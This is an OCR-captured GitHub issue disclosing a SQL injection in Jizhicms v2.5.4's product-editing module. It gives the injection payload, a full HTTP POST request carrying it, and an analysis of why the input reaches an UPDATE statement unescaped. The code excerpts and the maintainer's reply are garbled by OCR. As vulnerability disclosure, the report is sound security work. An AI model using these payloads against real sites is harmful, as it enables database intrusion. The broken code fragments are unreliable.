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Jizhicms v2.5.4 is vulnerable to SQL injection in the product
editing module. #105

® Closed

-r 4iFei opened on Apr 24, 2025 ooe

Exploit

Enter the product list module in the backend, edit the product details , and then import network image. Input
the image address as x', title=user(),hits='1, and finally save the content.
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The content of the request packet is as follows, parameter 'body" is injectable.
POST /index.php/admins/Product/editproduct.html HTTP/1.1 d;

Host: public:8888

Content-Length: 500

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept: */*
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public:8888
Referer: http://public:8888/index.php/admins/Product/editproduct/id/13.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=029a5d0d26d84baf7a98daalf30d80bl
Connection: close

go=1&id=13&tid=1&1x=1&color=&title=test&seo_title=test&keywords=&description=&litpic=&file=&s
<p><img+src%3d"x', title%3duser(),hits%3d'1"+alt%3d"test"+data-href%3d""+style%3d"" />
</p>&orders=0&addtime=2025-04-
23+15%3A45%3A22&tags=&target=&ownurl=&jzattr=&select=&zan=0&updatetime=2025-04-
23+16%3A37%3A54&config_seotitle=1&config litpic=1&config_description=1&config_tags=1&config_1

Refresh the product list, and then we can see the user information of the database displayed in the title
column.
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Vulnerability Analysis

In the editproduct() function within the file app/admin/c/ProductController.php , after the $data
variable obtains the parameters submitted via POST, it utilizes the get_fields_data() function located in
the file conf/Functions.php to filter the input parameters. The specific logic of the get_fields_data() is
as follows: It decides which processing method to use based on the fieldtype attribute corresponding to
each parameter. Since the fieldtype corresponding tothe body parameteris 3, it enters the "case 3"
condition and then calls the format_param() function in the file frphp/common/Functions.php for
processing.
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Inthe format_param() function, the "case 4" condition uses addslashes and SafeFilter to process the
body parameter.
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= SafeFilter( )
=htmlspecialchars(trim(
= addslashes( )

( =='")

array_walk_recursive(

= addslashes(
= SafeFilter(
trim( )

= SafeFilter( )
=htmlspecialchars(trim(
= addslashes( )
(

str_ireplace(
Then, use a regular expression to extract the content of the img tag inthe body parameter that has been

processed by the stripslashes function, and assign it to the litpic parameter. We can find that
addslashes (inthe format_param() ) is first used to add backslashes , and then stripslashes is used to

remove the backslashes. This means that the content we input will not be escaped.

1 && ->frparam(
C.x?)".
->frparam( )DEI

preg_match( stripslashes(
)
[1]

Finally, through the update function, all parameters are concatenated into the UPDATE statement.
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update(

->__prepera_format(

( ( ))
F(is.array($conditions))q
->__prepera_format(

join(

->runSql(

When the value of the body parameter we pass inis <p><img src="x',title=user(),hits="1"
alt="test" data-href="" style=""/></p> , the final executed SQL statement is as follows.

UPDATE jz_product SET id = '15', title = 'test', seo_title = 'test', tid = '1 i product',
keywords = , description =

, litpic = 'x',title=user(),hits='1", stock_num = , i .00', pictures = ,
"\" style=\"\"/></p>"', userid = '1', orc

Obviously, the execution result of the SQL function user() is assigned to the title.

@ Cherry-toto on Apr 24, 2025 owner = eee

DHTRIREF | 3FF Baf.
BRBHEEENRRRLAEXSSHISQL injection , FAJR &R A7 T AR #MNITsl.
REEAT EEMEE , INAALTIIARAZE , MRFEKAKEER , EIRERRT 280R.

@ {® Cherry-toto closed this as completed on Apr 24, 2025
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